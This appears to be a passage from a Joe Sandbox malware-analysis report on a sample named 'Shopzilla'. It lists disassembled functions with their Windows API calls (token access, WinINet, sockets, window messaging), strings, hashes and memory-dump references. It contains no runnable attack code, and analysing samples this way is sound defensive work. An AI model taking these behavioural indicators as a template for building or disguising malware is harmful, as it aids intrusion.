SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00BFA852
GetWindowThreadProcessId.USER32(?,00000000), ref: 00BFA865
GetCurrentThreadId.KERNEL32 ref: 00BFA86C
AttachThreadInput.USER32(00000000), ref: 00BFA873

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 73c74e77584dd8c2d5edcbe600c3b6fbb8543701c11057fce21cac7eefddf62b
Instruction ID: f028897cc15f19b4a9c288a94867fa5f51a8164e97c0a8a4e0a98ae3d0d951d1
Opcode Fuzzy Hash: 73c74e77584dd8c2d5edcbe600c3b6fbb8543701c11057fce21cac7eefddf62b
Instruction Fuzzy Hash: A3E0397210122CBBEB201BA29C0DFEB3F6CEF11BA1F108060FA0986050C7B18955CBA0

Function 00BA25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BA260D
SetTextColor.GDI32(?,000000FF), ref: 00BA2617
SetBkMode.GDI32(?,00000001), ref: 00BA262C
GetStockObject.GDI32(00000005), ref: 00BA2634
GetWindowDC.USER32(?,00000000), ref: 00BDC0F4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00BDC101
GetPixel.GDI32(00000000,?,00000000), ref: 00BDC11A
GetPixel.GDI32(00000000,00000000,?), ref: 00BDC133
GetPixel.GDI32(00000000,?,?), ref: 00BDC153
ReleaseDC.USER32(?,00000000), ref: 00BDC15E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 8aa2bd490667938834a210123adc512f61b3a775693c1aac2021f131097867df
Instruction ID: b0a52f0693cecc1d8ca3dd75157e44a5e868ae61deb56faffa47a6a7136320b8
Opcode Fuzzy Hash: 8aa2bd490667938834a210123adc512f61b3a775693c1aac2021f131097867df
Instruction Fuzzy Hash: 27E06D32514244ABDB225F68AC09BEC7F65EB06332F2483A6FA79580E2C7714980DB12

Function 00BF9113 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00BF911C
OpenThreadToken.ADVAPI32(00000000,?,?,?,00BF8CE7), ref: 00BF9123
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00BF8CE7), ref: 00BF9130
OpenProcessToken.ADVAPI32(00000000,?,?,?,00BF8CE7), ref: 00BF9137

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 9dfebd0ca80953329fff2992e76ca5b8e516c2275489a40f73ddcebc11c7b142
Instruction ID: e05ea4ffe7efc86df72c989a66420e6d928bb94630c2fd7547ee5fbe1937b3ff
Opcode Fuzzy Hash: 9dfebd0ca80953329fff2992e76ca5b8e516c2275489a40f73ddcebc11c7b142
Instruction Fuzzy Hash: 59E08633611211ABD7601FB5AE0CB6B3BACDF55791F204868B245DA050E6348549CB50

Function 00BE05A9 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BE05A9
GetDC.USER32(00000000), ref: 00BE05B3
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BE05D3
ReleaseDC.USER32(?), ref: 00BE05F4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 44354e8f30c3e15130983cfdd088a088ac6a257de54ec27ccd8816fa19f92ec3
Instruction ID: 4204b7948d34e86d09c4f98df78c43dbd6f32003278a1825a59953a591f3df5f
Opcode Fuzzy Hash: 44354e8f30c3e15130983cfdd088a088ac6a257de54ec27ccd8816fa19f92ec3
Instruction Fuzzy Hash: 85E01AB2814204EFCB019F60D859B9D7BF5EB9C310F208055FC5AA7210CB7885519F50

Function 00BE05BD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BE05BD
GetDC.USER32(00000000), ref: 00BE05C7
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BE05D3
ReleaseDC.USER32(?), ref: 00BE05F4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 31d8f8e08f1cb883aaad78a6058cc5d5dfcd7666c74631ffa73ec290a6daf54a
Instruction ID: 8d63de6dca9bd138eeddec8ba5d5a6dc344f85d21722da54f2e8e23e70e24ca2
Opcode Fuzzy Hash: 31d8f8e08f1cb883aaad78a6058cc5d5dfcd7666c74631ffa73ec290a6daf54a
Instruction Fuzzy Hash: 0CE012B2814204AFCB019FB0D829B9EBBF5AB8C310F208018FD5AA7210CB7895518F50

Function 00BFBC6F Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00BFBE3A

Strings

AutoIt3GUI, xrefs: 00BFBDB2
Container, xrefs: 00BFBDB7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 8345f6ba2ce6e19d68d8bc879bda2afd8694ed32065f15075246f7b3e731dc87
Instruction ID: 3460913cc486d57c56c4c2790c538eb033232fd3008a3c2f344822e2ece18e52
Opcode Fuzzy Hash: 8345f6ba2ce6e19d68d8bc879bda2afd8694ed32065f15075246f7b3e731dc87
Instruction Fuzzy Hash: D0914C742006059FDB54DF24C884F6ABBF9FF48710F1089ADEA0ADB691DB71E849CB51

Function 00C0B45C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB436A: _wcscpy.LIBCMT ref: 00BB438D

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

__wcsnicmp.LIBCMT ref: 00C0B4DD
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00C0B5A6

Strings

LPT, xrefs: 00C0B4D7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 5df5384693e43a0a39fe8db6840b23000cef35d6e241a2fb6fbc20171fb278b0
Instruction ID: 78b8f31f155ee5daa4f6145b8999a60f55b27af1f6e444080cc777358cc234e1
Opcode Fuzzy Hash: 5df5384693e43a0a39fe8db6840b23000cef35d6e241a2fb6fbc20171fb278b0
Instruction Fuzzy Hash: 3761A175A04219AFCB18EF94C891EAEB7F4EF49710F1440A9F956AB291DB70AE40CB50

Function 00BAE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00BAE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00BAE037

Strings

@, xrefs: 00BAE02B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 0b041405d64594d63a0a876f438fade47d0307ef8c92e1bdbcaf60c415cb678f
Instruction ID: c53424b2805da5737bd8b3fd1635dac770c700e8b6fbede4c7c75cc6323e5429
Opcode Fuzzy Hash: 0b041405d64594d63a0a876f438fade47d0307ef8c92e1bdbcaf60c415cb678f
Instruction Fuzzy Hash: B95158724087449BE320AF50E886BAFBBE8FBC5314F41889DF1D8411A1DBB19929CB16

Function 00C12A3E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C12A4E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00C12A84

Strings

|, xrefs: 00C12A55

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 6e0cb90d01cabefd4eba5e71487849a191086dea4d717c2b87598946dbef08fa
Instruction ID: 5d7458df6b0f0fd13a32d504d872d8381f36af9729ca3f74d38fe48106dcadfd
Opcode Fuzzy Hash: 6e0cb90d01cabefd4eba5e71487849a191086dea4d717c2b87598946dbef08fa
Instruction Fuzzy Hash: FE315971C00219ABCF01EFA5CC85AEEBFF8FF08300F100069F815A6162EB719A56DB60

Function 00C26E50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00C26F04
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00C26F40

Strings

static, xrefs: 00C26EA0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 1a5a4a9b81c260585af68ee2a20e3f11c3ea8191d83e791349fb2ce16db8452b
Instruction ID: fd48d5ada945a9ab7aa56d537c0dffe20b4546c60838ad3d915306cb0297b5af
Opcode Fuzzy Hash: 1a5a4a9b81c260585af68ee2a20e3f11c3ea8191d83e791349fb2ce16db8452b
Instruction Fuzzy Hash: E0319C72110614AEEB109F78EC81BFB73B9FF88724F108619F9A597190DB71AD81DB60

Function 00C02EB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C02F24
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C02F5F

Strings

0, xrefs: 00C02F1D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 3c35455bce82e8c47a4f71eeefbe90632c6d8ef3fb07db6916bd2a6bf1f2cfd0
Instruction ID: ba3c9196eb143e43f3cd956c3a5e9b043ef8624e9d584b4a8cb00f1af896e48b
Opcode Fuzzy Hash: 3c35455bce82e8c47a4f71eeefbe90632c6d8ef3fb07db6916bd2a6bf1f2cfd0
Instruction Fuzzy Hash: 7B31C3326002169BEB259F99C889BAEFBF8EF45390F14001DE995961E0D7709B44DB51

Function 00C26AC1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00C26B4E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C26B59

Strings

Combobox, xrefs: 00C26B1B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 1ff8f2fb32949671b00dfe368833505db7c2491f7dcece48b15df0c34d97e135
Instruction ID: 3e60094de4a842d795d4765964ef5ab32ed7d450b0ca182dd506e0049331935a
Opcode Fuzzy Hash: 1ff8f2fb32949671b00dfe368833505db7c2491f7dcece48b15df0c34d97e135
Instruction Fuzzy Hash: 9811B271300219AFEF119F14EC91FBB376AEB883A4F204125F928D7290D6719D51A770

Function 00C26FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00BA2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BA214F
Part of subcall function 00BA2111: GetStockObject.GDI32(00000011), ref: 00BA2163
Part of subcall function 00BA2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BA216D

GetWindowRect.USER32(00000000,?), ref: 00C2705E
GetSysColor.USER32(00000012), ref: 00C27078

Strings

static, xrefs: 00C2703B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 053c6844a8841d33f745082c5a5ecf3645941bf9fc09629487f2ca3ebd488935
Instruction ID: 90e4c30116db3209c4af3c0fca13fa2f8d36bc4957a630c3fcffcb8ac11fc2ee
Opcode Fuzzy Hash: 053c6844a8841d33f745082c5a5ecf3645941bf9fc09629487f2ca3ebd488935
Instruction Fuzzy Hash: 2121177261421AAFDB04DFB8DC86AEA7BA8FB08314F104659FE55E2240E635E854DB50

Function 00C26D0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00C26D8F
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00C26D9E

Strings

edit, xrefs: 00C26D73

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: fcc7bd6d637ecedf96778aed5875d9425eeb7dba7fbb975bbbcecac31c59253c
Instruction ID: ce2ab06ecff26e1ca4c302a7a7aefa74d3dcb357e25a97bbdd6a8aa8174e040f
Opcode Fuzzy Hash: fcc7bd6d637ecedf96778aed5875d9425eeb7dba7fbb975bbbcecac31c59253c
Instruction Fuzzy Hash: 78118C71610218ABEB109F74EC95BFB3B6AEB05368F204724F974975E0C771DC90AB60

Function 00C02FC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C03036
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00C03055

Strings

0, xrefs: 00C0302C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: ffcc5e7a20592407d077a3fe1937b84c9b226f18998ca99a5a8e70f172922f52
Instruction ID: 6ff0f94f8da827ccd9c355adc302eb9e753529ce22b5a5c4c37184fc8009ee2c
Opcode Fuzzy Hash: ffcc5e7a20592407d077a3fe1937b84c9b226f18998ca99a5a8e70f172922f52
Instruction Fuzzy Hash: 73110431A02254ABDB20DF9CDC44FADB7BCAB05B0CF140125E825A72E0D770AF04D791

Function 00C12686 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00C126DC
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00C12705

Strings

<local>, xrefs: 00C126CD

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 1bc9ad23ed0e55d69d043dd6257bc330a2abab2542c68cb1f3c429ddd445e353
Instruction ID: 21db6f3530a6d112eebb6e30ec207d8cc9e2529e6a80bacd91f6c99fd85bd386
Opcode Fuzzy Hash: 1bc9ad23ed0e55d69d043dd6257bc330a2abab2542c68cb1f3c429ddd445e353
Instruction Fuzzy Hash: 5311E378541229BBDB248F518C85EFBFBA8FB13351F10412AF95542180E27069E4EAF0

Function 00C1823D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C184A8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00C18265,?,00000000,?,?), ref: 00C184BF

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C18268
htons.WSOCK32(00000000,?,00000000), ref: 00C182A5

Strings

255.255.255.255, xrefs: 00C18280

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 33675610b841ba82dce35dad958c1d8e5a74ab9d2f7993309d40831a9e2101cb
Instruction ID: 49c0a59cc2aa60b354057d8b8e373c465ca080a0d7cea0f890597aa3f9b37263
Opcode Fuzzy Hash: 33675610b841ba82dce35dad958c1d8e5a74ab9d2f7993309d40831a9e2101cb
Instruction Fuzzy Hash: B611E175604219ABDB10EF64CC46FFEB3A4FF01320F208556FA21972D1DB71A948DA91

Function 00BF97A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00BF980E

Strings

ListBox, xrefs: 00BF97D8
ComboBox, xrefs: 00BF97AD

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
